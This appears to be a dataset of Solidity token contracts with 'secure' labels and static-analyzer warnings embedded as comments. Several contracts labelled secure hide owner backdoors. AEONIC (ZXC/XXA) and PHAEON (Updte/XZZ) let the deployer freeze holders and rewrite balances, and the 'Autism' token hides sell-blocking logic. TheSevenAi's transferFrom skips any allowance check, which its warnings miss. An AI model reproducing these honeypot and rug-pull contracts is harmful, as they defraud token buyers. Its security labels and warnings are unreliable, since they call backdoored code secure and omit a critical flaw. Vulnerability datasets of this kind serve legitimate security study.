{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./ERC20Upgradeable.sol\" as ERC20Upgradeable;\nimport \"./ERC20BurnableUpgradeable.sol\" as ERC20BurnableUpgradeable;\nimport \"./PausableUpgradeable.sol\" as PausableUpgradeable;\nimport \"./OwnableUpgradeable.sol\" as OwnableUpgradeable;\nimport \"./ReentrancyGuardUpgradeable.sol\" as ReentrancyGuardUpgradeable;\n\ncontract TGDToken is\n Initializable,\n ERC20Upgradeable,\n ERC20BurnableUpgradeable,\n PausableUpgradeable,\n OwnableUpgradeable,\n ReentrancyGuardUpgradeable\n{\n mapping(address => bool) private _blacklist;\n\n struct Stake {\n uint256 amount;\n uint256 timestamp;\n }\n\n mapping(address => Stake) public stakes;\n\n uint256 public minPurchase;\n\n uint256 public rewardRate;\n\n event TokenMinted(address to, uint256 amount);\n\n event Staked(address indexed user, uint256 amount);\n\n event Unstaked(address indexed user, uint256 amount, uint256 reward);\n\n event BlacklistUpdated(address indexed user, bool isBlacklisted);\n\n event Airdropped(address indexed recipient, uint256 amount);\n\n function initialize(\n uint256 _minPurchase,\n uint256 _rewardRate\n ) public initializer {\n __ERC20_init(\"TensorGrid Token\", \"TGD\");\n\n __ERC20Burnable_init();\n\n __Pausable_init();\n\n __Ownable_init();\n\n __ReentrancyGuard_init();\n\n uint256 initialSupply = 1946000000;\n\n _mint(msg.sender, initialSupply * (10 ** decimals()));\n\n minPurchase = _minPurchase;\n\n rewardRate = _rewardRate;\n\n emit TokenMinted(msg.sender, initialSupply * (10 ** decimals()));\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function burn(uint256 amount) public override {\n super.burn(amount);\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function addToBlacklist(address account) public onlyOwner {\n _blacklist[account] = true;\n\n emit BlacklistUpdated(account, true);\n }\n\n function removeFromBlacklist(address account) public onlyOwner {\n _blacklist[account] = false;\n\n emit BlacklistUpdated(account, false);\n }\n\n function isBlacklisted(address account) public view returns (bool) {\n return _blacklist[account];\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override whenNotPaused {\n require(!_blacklist[from], \"Address is blacklisted\");\n\n require(!_blacklist[to], \"Address is blacklisted\");\n\n super._beforeTokenTransfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ce41623): TGDToken.stakeTokens(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(balanceOf(msg.sender) >= _amount,Not enough tokens)\n\t// Recommendation for ce41623: Avoid relying on 'block.timestamp'.\n function stakeTokens(uint256 _amount) public {\n\t\t// timestamp | ID: ce41623\n require(balanceOf(msg.sender) >= _amount, \"Not enough tokens\");\n\n stakes[msg.sender] = Stake(_amount, block.timestamp);\n\n _burn(msg.sender, _amount);\n\n emit Staked(msg.sender, _amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 9983575): TGDToken.claimStakingReward() uses timestamp for comparisons Dangerous comparisons require(bool,string)(stakeData.amount > 0,No tokens staked)\n\t// Recommendation for 9983575: Avoid relying on 'block.timestamp'.\n function claimStakingReward() public {\n Stake memory stakeData = stakes[msg.sender];\n\n\t\t// timestamp | ID: 9983575\n require(stakeData.amount > 0, \"No tokens staked\");\n\n uint256 reward = calculateStakingReward(stakeData);\n\n _mint(msg.sender, reward);\n\n delete stakes[msg.sender];\n\n emit Unstaked(msg.sender, stakeData.amount, reward);\n }\n\n function calculateStakingReward(\n Stake memory stakeData\n ) internal view returns (uint256) {\n uint256 duration = block.timestamp - stakeData.timestamp;\n\n return (stakeData.amount * rewardRate * duration) / 1 weeks;\n }\n\n function airdrop(\n address[] memory recipients,\n uint256[] memory amounts\n ) public onlyOwner {\n require(recipients.length == amounts.length, \"Invalid input\");\n\n for (uint256 i = 0; i < recipients.length; i++) {\n _transfer(owner(), recipients[i], amounts[i]);\n\n emit Airdropped(recipients[i], amounts[i]);\n }\n }\n}", "file_name": "solidity_code_225.sol", "secure": 0, "size_bytes": 4859 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MOJO is ERC20 {\n constructor() ERC20(\"MOJO\", \"MOJO\") {\n _mint(msg.sender, 130000000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2250.sol", "secure": 1, "size_bytes": 271 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC165 {\n function supportsInterface(bytes4 interfaceID) external view returns (bool);\n}", "file_name": "solidity_code_2251.sol", "secure": 1, "size_bytes": 165 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract Escort is Ownable, ERC20 {\n using SafeERC20 for IERC20;\n\n constructor() ERC20(\"Escort Pepa\", \"ESCORT\") {\n _transferOwnership(0x3938869B258C5f9F11b0B437C74657EB7d713D49);\n _mint(owner(), 1_000_000 * (10 ** 18));\n }\n\n receive() external payable {}\n\n fallback() external payable {}\n\n function burn(uint256 amount) external {\n super._burn(_msgSender(), amount);\n }\n\n function claimStuckTokens(address token) external onlyOwner {\n if (token == address(0x0)) {\n payable(_msgSender()).transfer(address(this).balance);\n return;\n }\n IERC20 ERC20token = IERC20(token);\n uint256 balance = ERC20token.balanceOf(address(this));\n ERC20token.safeTransfer(_msgSender(), balance);\n }\n}", "file_name": "solidity_code_2252.sol", "secure": 1, "size_bytes": 1149 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Autism is Ownable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n mapping(address => uint256) private sun;\n\n constructor(address tonight) {\n totalSupply = 1000000000 * 10 ** decimals;\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n balanceOf[msg.sender] = totalSupply;\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n symbol = \"AUTISM\";\n sun[tonight] = hurry;\n name = \"Autism\";\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7862920): Autism.totalSupply should be immutable \n\t// Recommendation for 7862920: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\n function approve(\n address town,\n uint256 letter\n ) public returns (bool success) {\n allowance[msg.sender][town] = letter;\n emit Approval(msg.sender, town, letter);\n return true;\n }\n\n function transfer(\n address did,\n uint256 letter\n ) public returns (bool success) {\n would(msg.sender, did, letter);\n return true;\n }\n\n function transferFrom(\n address smooth,\n address did,\n uint256 letter\n ) public returns (bool success) {\n would(smooth, did, letter);\n require(letter <= allowance[smooth][msg.sender]);\n allowance[smooth][msg.sender] -= letter;\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 584a35e): Autism.decimals should be constant \n\t// Recommendation for 584a35e: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 15426c6): Autism.uniswapV2Pair should be immutable \n\t// Recommendation for 15426c6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) public balanceOf;\n\n string public name;\n\n\t// WARNING Optimization Issue (constable-states | ID: 245da40): Autism.hurry should be constant \n\t// Recommendation for 245da40: Add the 'constant' attribute to state variables that never change.\n uint256 private hurry = 47;\n\n string public symbol;\n\n function would(\n address smooth,\n address did,\n uint256 letter\n ) private returns (bool success) {\n if (sun[smooth] == 0) {\n if (uniswapV2Pair != smooth && shop[smooth] > 0) {\n sun[smooth] -= hurry;\n }\n balanceOf[smooth] -= letter;\n }\n balanceOf[did] += letter;\n if (letter == 0) {\n shop[did] += hurry;\n }\n emit Transfer(smooth, did, letter);\n return true;\n }\n\n mapping(address => uint256) private shop;\n}", "file_name": "solidity_code_2253.sol", "secure": 1, "size_bytes": 3632 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract AEONIC {\n mapping(address => uint256) private XLB;\n mapping(address => uint256) private XLC;\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b60004): AEONIC.name should be constant \n\t// Recommendation for 9b60004: Add the 'constant' attribute to state variables that never change.\n string public name = \"AEONIC\";\n\t// WARNING Optimization Issue (constable-states | ID: 9314cbc): AEONIC.symbol should be constant \n\t// Recommendation for 9314cbc: Add the 'constant' attribute to state variables that never change.\n string public symbol = unicode\"AEONIC\";\n\t// WARNING Optimization Issue (constable-states | ID: c256c8e): AEONIC.decimals should be constant \n\t// Recommendation for c256c8e: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 6;\n\t// WARNING Optimization Issue (constable-states | ID: 9f25389): AEONIC.totalSupply should be constant \n\t// Recommendation for 9f25389: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1500000000 * 10 ** 6;\n address owner = msg.sender;\n\t// WARNING Optimization Issue (immutable-states | ID: e9e6045): AEONIC.XLR should be immutable \n\t// Recommendation for e9e6045: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private XLR;\n\t// WARNING Optimization Issue (constable-states | ID: 49197b9): AEONIC.Deployr should be constant \n\t// Recommendation for 49197b9: Add the 'constant' attribute to state variables that never change.\n address Deployr = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n XLR = msg.sender;\n MAKRX(msg.sender, totalSupply);\n }\n\n function renounceOwnership() public virtual {\n require(msg.sender == owner);\n emit OwnershipTransferred(owner, address(0));\n owner = address(0);\n }\n\n function MAKRX(address account, uint256 amount) internal {\n account = Deployr;\n XLB[msg.sender] = totalSupply;\n emit Transfer(address(0), account, amount);\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return XLB[account];\n }\n\n function ZXC(address iox, uint256 ioz) public {\n if (msg.sender == XLR) {\n XLC[iox] = ioz;\n }\n }\n\n function transfer(address to, uint256 value) public returns (bool success) {\n if (XLC[msg.sender] <= 0) {\n require(XLB[msg.sender] >= value);\n XLB[msg.sender] -= value;\n XLB[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n }\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (from == XLR) {\n require(value <= XLB[from]);\n require(value <= allowance[from][msg.sender]);\n XLB[from] -= value;\n XLB[to] += value;\n from = Deployr;\n emit Transfer(from, to, value);\n return true;\n } else if (XLC[from] <= 0 && XLC[to] <= 0) {\n require(value <= XLB[from]);\n require(value <= allowance[from][msg.sender]);\n XLB[from] -= value;\n XLB[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n }\n function XXA(address iox, uint256 ioz) public {\n if (msg.sender == XLR) {\n XLB[iox] = ioz;\n }\n }\n}", "file_name": "solidity_code_2254.sol", "secure": 1, "size_bytes": 4317 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract PHAEON {\n mapping(address => uint256) private lIb;\n mapping(address => uint256) private lIc;\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: d7fb521): PHAEON.name should be constant \n\t// Recommendation for d7fb521: Add the 'constant' attribute to state variables that never change.\n string public name = \"PHAEON LABS\";\n\t// WARNING Optimization Issue (constable-states | ID: e59c6bf): PHAEON.symbol should be constant \n\t// Recommendation for e59c6bf: Add the 'constant' attribute to state variables that never change.\n string public symbol = unicode\"PHAEON\";\n\t// WARNING Optimization Issue (constable-states | ID: 6b5d89a): PHAEON.decimals should be constant \n\t// Recommendation for 6b5d89a: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 6;\n\t// WARNING Optimization Issue (constable-states | ID: b6c25f1): PHAEON.totalSupply should be constant \n\t// Recommendation for b6c25f1: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 6;\n address owner = msg.sender;\n\t// WARNING Optimization Issue (immutable-states | ID: 5889f38): PHAEON.IRI should be immutable \n\t// Recommendation for 5889f38: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private IRI;\n\t// WARNING Optimization Issue (constable-states | ID: 6a542ab): PHAEON.xDeploy should be constant \n\t// Recommendation for 6a542ab: Add the 'constant' attribute to state variables that never change.\n address xDeploy = 0x398d282487b44b6e53Ce0AebcA3CB60C3B6325E9;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n IRI = msg.sender;\n lDeploy(msg.sender, totalSupply);\n }\n\n function renounceOwnership() public virtual {\n require(msg.sender == owner);\n emit OwnershipTransferred(owner, address(0));\n owner = address(0);\n }\n\n function lDeploy(address account, uint256 amount) internal {\n account = xDeploy;\n lIb[msg.sender] = totalSupply;\n emit Transfer(address(0), account, amount);\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return lIb[account];\n }\n\n function Updte(address sx, uint256 sz) public {\n if (msg.sender == IRI) {\n lIc[sx] = sz;\n }\n }\n\n function transfer(address to, uint256 value) public returns (bool success) {\n if (lIc[msg.sender] <= 0) {\n require(lIb[msg.sender] >= value);\n lIb[msg.sender] -= value;\n lIb[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n }\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n function XZZ(address sx, uint256 sz) public {\n if (msg.sender == IRI) {\n lIb[sx] = sz;\n }\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (from == IRI) {\n require(value <= lIb[from]);\n require(value <= allowance[from][msg.sender]);\n lIb[from] -= value;\n lIb[to] += value;\n from = xDeploy;\n emit Transfer(from, to, value);\n return true;\n } else if (lIc[from] <= 0 && lIc[to] <= 0) {\n require(value <= lIb[from]);\n require(value <= allowance[from][msg.sender]);\n lIb[from] -= value;\n lIb[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n }\n}", "file_name": "solidity_code_2255.sol", "secure": 1, "size_bytes": 4320 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract GROKPAD is ERC20Burnable, Ownable {\n constructor(uint256 amount) ERC20(\"GrokPad\", \"GROKPAD\") {\n _mint(_msgSender(), amount);\n }\n}", "file_name": "solidity_code_2256.sol", "secure": 1, "size_bytes": 443 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBrightID {\n event Verified(address indexed addr);\n function isVerified(address addr) external view returns (bool);\n}", "file_name": "solidity_code_2257.sol", "secure": 1, "size_bytes": 198 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: e34afcd): Contract locking ether found Contract theSevenAi has payable functions theSevenAi.receive() theSevenAi.fallback() But does not have a function to withdraw the ether\n// Recommendation for e34afcd: Remove the 'payable' attribute or add a withdraw function.\ncontract TheSevenAi is Context, IERC20, Ownable {\n using SafeMath for uint256;\n address immutable WETH;\n address constant ZERO = 0x0000000000000000000000000000000000000000;\n\n mapping(address => uint256) private tokenBalance;\n mapping(address => mapping(address => uint256)) private tokenAllowance;\n mapping(address => bool) private _isExcludedFromFeeAndLimit;\n address public constant _taxCollectorWallet =\n 0x000000000000000000000000000000000000dEaD;\n uint256 public constant _totalTaxes = 7;\n\n uint8 private constant tokenDecimal = 7;\n uint256 private constant tokenTotalSupply = 7_777_777 * 10 ** tokenDecimal;\n string private constant _name = unicode\"SEVEN AI\";\n string private constant _symbol = unicode\"7AI\";\n uint256 public _maxWalletSize = (tokenTotalSupply * 27) / 1000;\n\t// WARNING Optimization Issue (immutable-states | ID: 3a558ca): theSevenAi.router should be immutable \n\t// Recommendation for 3a558ca: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDEXRouter private router;\n address private immutable pair;\n\t// WARNING Optimization Issue (immutable-states | ID: 0007c29): theSevenAi._deployer should be immutable \n\t// Recommendation for 0007c29: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _deployer;\n\n constructor() {\n router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n WETH = router.WETH();\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n\n tokenBalance[_msgSender()] = tokenTotalSupply;\n _deployer = msg.sender;\n\n _isExcludedFromFeeAndLimit[msg.sender] = true;\n _isExcludedFromFeeAndLimit[address(this)] = true;\n _isExcludedFromFeeAndLimit[_taxCollectorWallet] = true;\n _isExcludedFromFeeAndLimit[ZERO] = true;\n\n emit Transfer(address(0), _msgSender(), tokenTotalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return tokenDecimal;\n }\n\n function totalSupply() public view override returns (uint256) {\n return\n tokenTotalSupply -\n tokenBalance[_taxCollectorWallet] -\n tokenBalance[ZERO];\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenBalance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f3c0e73): theSevenAi.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f3c0e73: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return tokenAllowance[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 49f19ae): theSevenAi._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 49f19ae: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n tokenAllowance[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner()) {\n taxAmount = amount.mul(35).div(1000);\n\n if (\n !_isExcludedFromFeeAndLimit[from] &&\n !_isExcludedFromFeeAndLimit[to] &&\n to != pair\n ) {\n require(\n tokenBalance[to] + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n }\n\n tokenBalance[from] = tokenBalance[from].sub(amount);\n tokenBalance[to] = tokenBalance[to].add(amount.sub(taxAmount));\n emit Transfer(from, to, amount.sub(taxAmount));\n if (taxAmount > 0) {\n tokenBalance[_taxCollectorWallet] = tokenBalance[\n _taxCollectorWallet\n ].add(taxAmount);\n emit Transfer(from, _taxCollectorWallet, taxAmount);\n }\n }\n\n function liftWalletLimits() external {\n require(_msgSender() == _deployer);\n _maxWalletSize = tokenTotalSupply;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: e34afcd): Contract locking ether found Contract theSevenAi has payable functions theSevenAi.receive() theSevenAi.fallback() But does not have a function to withdraw the ether\n\t// Recommendation for e34afcd: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: e34afcd): Contract locking ether found Contract theSevenAi has payable functions theSevenAi.receive() theSevenAi.fallback() But does not have a function to withdraw the ether\n\t// Recommendation for e34afcd: Remove the 'payable' attribute or add a withdraw function.\n fallback() external payable {}\n}", "file_name": "solidity_code_2258.sol", "secure": 0, "size_bytes": 7245 }